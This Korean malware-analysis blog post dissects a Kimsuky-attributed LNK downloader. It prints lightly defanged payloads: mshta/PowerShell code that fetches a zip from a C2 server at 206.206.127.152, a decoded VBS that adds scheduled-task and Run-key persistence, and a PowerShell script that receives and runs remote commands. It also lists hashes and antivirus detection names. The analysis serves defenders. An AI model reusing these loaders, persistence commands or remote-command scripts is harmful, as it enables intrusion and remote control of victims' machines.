꿈을꾸는 파랑새

오늘은 북한 김수키(Kimsuky)에서 만든 악성코드 인 20241003_20134.docx.lnk(2024.10.3) 에 대해 글을 적어 보겠습니다.
지난 시간에 적은 보조금신청건이나 암호화폐 거래소 업비트 사칭하고 거의 유사하게 작동이 됩니다.
mshta.exe 기능을 악용해서 해당 악성코드를 작동하면 파워셀을 이용을 하고도 있습니다.
먼저 해쉬값은 다음과 같습니다.
파일명:20241003_20134.docx.lnk
사이즈:2.37 KB
MD5:42f3e0840bde6eccd1e17b32b48d6096
SHA-1:c38a378d4d9af72957183cddebb2a659d024fd0c
SHA-256:aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad
이며 다음과 코드가 있습니다.

20241003_20134.docx.lnk 악성코드 내부 모습
20241003_20134.docx.lnk 악성코드 내부 모습

악성코드 내부

StringData
{
    namestring: not present
    relativepath: ..\..\..\..\Windows\System32\mshta(.)exe
    workingdir: C:\Windows\System32
    commandlinearguments: javascript:b="());$z=$r.ReadLine();$b=[Con"(+)"vert]
    ::FromB(a)se6";f="Stream";x="a=new Ac"+"tiveXObject('WScrip"(+)"t.Shell');a
    .R"+"un(c,0(,)0);close();";a="Syste(m).IO."+f;t=" -Path $t -";n="New-O(b)jec
    t System.";u="c:\\progra(m)data";c="power"+"shell -ep bypa"+"ss -c $r='206(.)
    206(.)127(.)152';$p='9002';$r="+n+"IO.(")+f+"Reader(("+n+"N(e)t.Sockets.TcpCl
    ient($r, $p)).Get"+f(+)b+"4String($z);$t='"+u+"\\t(.)zip';Set-Con(t)ent"+t+"V
    $b -Encoding Byte;Expand-Archive"+(t)+"D "+u+";del $t(;)$v='"+u+"\\s.vbs';&$v
    ;sc "+u+"\\n1035 4";eval(x);
    iconlocation: (.)docx
}

악성코드 설명

mshta.exe를 이용하여 자바스크립트 코드를 실행하는 방식을 취하고 있으며
1.mshta.exe 실행: 
시스템 디렉터리에서 mshta.exe를 실행
2.자바스크립트 코드 분석:
코드의 시작 부분에서 b="());$z=$r.(R)eadLine();$b=[C(o)n"+"vert]::F(r)omBase6"가 보이며 해당 부분은 파워셸 명령을 실행하는 자바스크립트 코드로 문자열을 이어붙여 악성 스크립트를 은폐.
네트워크 통신**: 
IP 주소 206(.)206(.)127(.)152와 포트 9002를 사용하여 원격 서버에 연결
공격자가 제어하는 C2(Command and Control) 서버
파일 다운로드 및 압축 해제:
스크립트는 원격 서버에서 데이터를 다운로드한 후 c:\\programdata\\t(.)zip 에 저장하려는 명령을 포함
이후 Expand-Archive 를 사용하여 압축 파일을 해제하고 압축 해제된 파일을 실행
압축 파일 해제 후 s.vbs라는 VBS 파일을 실행 추가적인 악성 스크립트나 페이로드가 실행
ActiveXObject 생성:
ActiveXObject('WScript.Shell')`을 사용하여 쉘을 실행하고 파워셸 명령어를 백그라운드에서 실행(a.Run(c,0,0))하려는 시도
3.실행 후 파일 삭제:
스크립트는 압축 해제된 파일을 실행하고 다운로드된 ZIP 파일(t.zip)을 삭제(del $t)하려고 시도
흔적을 지우려는 목적
4.명령어의 최종 실행:
압축 해제된 파일 중 s.vbs를 실행하고 VBS 스크립트를 통해 sc 명령어를 실행
이는 시스템에 추가적인 설정이나 서비스를 등록하여 지속적인 악성 활동을 하려는 시도
결론:
해당 스크립트는 원격 C2 서버에 연결하여 악성 파일을 다운로드하고 실행하려는 목적
이 과정에서 mshta.exe,powershell,ActiveXObject 등을 활용하여 시스템에 악성 페이로드를 배포하고 실행
그리고 s.vbs는 시저 암호(Caesar Cipher) 사용을 하고 있으며 이것을 파이선으로 풀어 버리면 될 것입니다.
그리고 t.zip에서는 다음과 같은 파일들이 있습니다.

s.vbs 암호화
s.vbs 암호화

s.vbs
07578.tmp
R9147.vbs
xM568.tmp
xS023.tmp
돼 있으며 s.vbs 파일을 노트패드 ++로 열어보면 다음과 같이 돼 있는데 뭐~요즈음 시저 암호(Caesar Cipher)가 유행인지 이걸 풀어보면 다음과 같이 됩니다.

s.vbs 복호화
s.vbs 복호화

sjdoieo="309 djie englcis swit(e)rlan unsic ruuusc ":On Err
or Res(u)me Next:lopppc="387(2)":mkc= "Scr"(+)"ipt.":smocv=
"Se(t) monce = W":bothec=(s)mocv (+) mkc (+) "Crea"(+)"teObj
":jsm = bot(h)ec (+) "ect(""WS"(+)"cri"(+)"pt.Shel"+"l""):":
Execute jsm:oem(c)he="xor logic mamci 12d(a)wc":cl= "c"(+)"m
d /c s"+"chtasks /cr"(+)"eate /sc min"(+)"ute /mo 1 /tn Micro
softEdge(U)pdateTaskMSCore[31723(-)574923-(4)83028] /tr ""ws"
(+)"cript //e:vb"(+)"scr"+"ipt //b C:\\ProgramData\\07578(.)t
mp"" /f":monce.Run cl, 0, false:oemche=(")xor logic mamci 1(2)
dawc":kic1="ws\system32\wsc"(+)"ript(.)exe //"(+)"b //e:vb"+"s
ri"(+)"pt C:\\ProgramData\\R9147(.)vbs"" /f":qoc="dows\CurrentV
er(s)ion\Ru"+"n"" /v Wi"+"nlo(a)d /t REG_SZ /d ""c:\windo"+ kic1
:tmp2="KCU\Software\Mi"(+)"crosoft\Win" + qoc:mxjb="umcni moe (0
)398298 ":untiy = "c"(+)"md /c r":tmp1="eg add ""H":(t)mp3=tmp1+
tmp2: trn1=untiy+tmp3:monce.Run trn1, 0, false:untiy = "p"+"ower
"+"shell -ep byp"+"ass -com"+"mand $fn='C:\\ProgramDat(a)\\xM568
(.)tmp';$d = Get-C"+"ontent $fn; Inv"(+)"oke-Exp"+"ress"(+)"ion 
$d;":monce(.)Run untiy, 0, false:s1="WS"(+)"cri": s2="ep(2000):S
e": s(3)="ct = CreateOb":s4="Dele"(+)"teFile":str1=s1+"pt(.)Sle"
+s2+"t tyhun"+s3+(")ject(""Scrip"(+)"ting.FileS"+"ystem(O)bject"
"):tyhunct."(+)s4+"(""C:\\Progr"+"amDa(t)a\\s(.)vbs""):":Exe
cu(t)e str1: str30="dfw(3)fsgbfgrg fgdrg"

코드 분석

1. 오류 무시(`On Error Resume Next`):스크립트가 오류를 만나더라도 중단되지 않고 계속 실행되도록 하게 돼 있으며 악성 스크립트가 문제없이 끝까지 실행될 수 있도록 하는 오랜 전통을 가지는 수법
2. 스크립트 생성 및 실행 (Set monc(e) = WScript.C(r)eateObject("WScript(.)Shell")):WScript.Shell 객체를 생성하여 이후 다양한 시스템 명령을 실행할 수 있도록 하며 해당 객체는 Windows 명령 프롬프트나 다른 실행 파일을 호출하는 데 사용
3.작업 스케줄러 등록 (schtasks /create /sc minute /mo 1)
해당 명령어는 schtasks 를 사용하여 새로운 작업을 1분마다 실행되도록 스케줄러에 등록
여기서 실행되는 작업은 C:\ProgramData\07578(.)tmp 파일이며 해당 파일은 VBS 스크립트 주기적인 실행을 통해 악성 스크립트의 지속성을 유지 목적이 뻔함
4.레지스트리 수정: 해당 명령은 레지스트리에 Winload 라는 항목을 추가하여 Windows 시작 시 C:\ProgramData\R9147(.)vbs 파일을 자동으로 실행하도록 설계돼 있으며 해당 시스템이 재부팅될 때마다 악성 스크립트가 자동으로 실행되도록 설정
5.PowerShell 명령 실행:명령어는 PowerShell의 실행 정책을 우회(-ep bypass)하고 C:\ProgramData\xM568.tmp 파일을 읽어 그 내용을 실행
6. 일시 정지 및 파일 삭제: 2초 동안 일시 정지하고 C:\ProgramData\s.vbs 파일을 삭제 임시 파일로 악성 행위를 숨기려는 시도
악성 파일을 주기적으로 실행하고 레지스트리와 작업 스케줄러를 이용해 지속적으로 시스템에서 악성 활동을 유지 의도

R9147 복호화 내용
R9147 복호화 내용

R9147 코드 시저 암호 풀고 나서 결과

cm726="soiejfoiuh 3928j39r sinciq0(j)0qeznbzgdeher":On Error 
Resume Next:cmosij(e)="siuef98h 9i9ij(2)93rbjxc vkjx j ":S(e)t 
sh = WScript.CreateOb(j)ect("WScr"(+)"ipt(.)She"(+)"ll"):mxjb="
msjke(i)uhiwuhef":b(e)wcdf = "p"(+)"ower"+"shell -e(p) byp"(+)"\
ass -com"+"mand $fn='C:\\Pr(o)gramData\\xM5"(+)"68.tmp';$d = 
Get-C"+"ontent $fn; Inv"+"oke-(E)xp"+
"ress"+"ion $d;":sh.Run bewcdf, 0, false:

간단 코드 설명

1.WScript.CreateObject(WScript.Shell)를 통해 Windows Script Host의 Shell 객체를 생성
2.PowerShell(파워셀) 명령어 생성
PowerShell 실행 정책을 우회하여 서명되지 않은 스크립트를 실행
$fn='C:\\ProgramData\\xM568.tmp:변수 fn에 특정 파일 경로를 할당 해당 파일이 악성 스크립트의 내용이 포함돼 있음
$d = Get-Content $fn:fn 변수에 저장된 경로의 파일 내용을 읽어 d 변수에 저장
Invoke-Expression $d:d 변수에 저장된 내용을 실행이로 인해 C:\\ProgramData\\xM568(.)tmp 파일의 내용이 PowerShell에서 실행

xS023 코드에 포함된 내용

xS023 에 포함된 내용
xS023 에 포함된 내용

$sncesf="817 joke js y(o)utbc";
$sdvdet = "206(.)206(.)127(.)152"
$dvcvse = "7031"
$tcpConnection = New-Object System(.)Net.Sockets.TcpClient($sdvdet, $dvcvse)
$tcpStream = $tcpConnection(.)GetStream()
$reader = New-Object System.IO(.)StreamReader($tcpStream)
$writer = New-Object System.IO(.)StreamWriter($tcpStream)
$writer(.)AutoFlush = $true
$cmd = $reader(.)ReadLine()
$tmpz = "c:\programdata\mex(.)ps1"
$cmd | Out-File $tmpz
powershell -ep bypass -f $tmpz
$sev = "d"(+)"el $tmpz";
Invoke-Expres(s)ion $sev;

코드 분석

주어진 PowerShell 스크립트는 원격 TCP 연결을 통해 명령을 수신하고 실행하는 구조
1.변수 정의:
$sncesf 변수에 문자열 817 joke js youtbc 가 저장 별 신경 쓸것이 없습니다.
2.IP 주소 및 포트 설정:
$sdvdet 변수에 원격 서버의 IP 주소(206(.)206(.)127(.)152)가 저장
$dvcvse 변수에 연결할 포트 번호(7031)가 저장
3.TCP 연결 생성:
System.Net.Sockets.TcpClient 객체를 생성하여 지정된 IP 주소와 포트로 TCP 연결을 설정
GetStream() 메서드를 호출하여 TCP 연결의 데이터 스트림을 가져옴
4.스트림 리더 및 라이터 생성**:
StreamReader를 사용하여 TCP 스트림에서 데이터를 읽음
StreamWriter를 사용하여 TCP 스트림에 데이터를 쓰기
AutoFlush 속성을 true로 설정하여 데이터를 즉시 전송
5.명령 읽기 및 파일 작성:
ReadLine() 메서드를 통해 원격 서버로부터 명령을 읽음
$tmpz 변수에 임시 파일 경로(c:\programdata\mex(.)ps1)가 설정
읽은 명령을 Out-File을 사용하여 해당 경로에 저장
6.PowerShell 스크립트 실행:
-ep bypass 옵션을 사용하여 실행 정책을 우회하고 $tmpz 에서 지정한 PowerShell 스크립트를 실행
7.임시 파일 삭제:
$sev 변수에 삭제 명령어가 저장
del 은 파일을 삭제하는 PowerShell 명령
Invoke-Expression 을 사용하여 해당 명령을 실행하여 임시 파일을 삭제
해당 스크립트는 원격 호스트(206(.)206(.)127(.)152)와 TCP 연결을 설정하여 해당 호스트로부터 명령을 수신하고 이를 PowerShell 스크립트 파일로 저장하고 실행 후에는 임시 파일을 삭제
해당 과정은 원격 명령 실행 즉 원격 제어 또는 원격 공격의 목적으로 사용
뭐~일단 보니까 탐지들 하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/LNK.Generic.SC205073
AliCloud:Trojan:Unknow/BZC.YMF
Arcabit:Heur.BZC.YAX.Pantera.41.C51BC384
Avast"Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Pantera.41.C51BC384
CTX:Lnk.unknown.pantera
Emsisoft:Heur.BZC.YAX.Pantera.41.C51BC384 (B)
eScan:Heur.BZC.YAX.Pantera.41.C51BC384
ESET-NOD32:LNK/TrojanDownloader.Agent.CEF
GData:Heur.BZC.YAX.Pantera.41.C51BC384
Google:Detected
Huorong:Trojan/LNK.Starter.bj
Ikarus:Trojan-Downloader.LNK.Agent
Kaspersky:HEUR:Trojan.WinLNK.Agent.gen
Kingsoft:Win32.Troj.Undef.a
Rising:Downloader.Agent/LNK!8.132B1 (TOPIS:E0:kyIPIerGFfU)
Sophos:Mal/DownLnk-D
Tencent:Win32.Trojan-Downloader.Der.Rimw
Trellix (HX):Heur.BZC.YAX.Pantera.41.C51BC384
VIPRE:Heur.BZC.YAX.Pantera.41.C51BC384 WithSecure
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Agent.gen
Zoner:Probably Heur.LNKScript
요즈음 북한 애들 보니까? t.zip을 사용하고 시저 암호(Caesar Cipher)를 대단히 좋아하는 것 같은 느낌이 듭니다. 끝

 

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band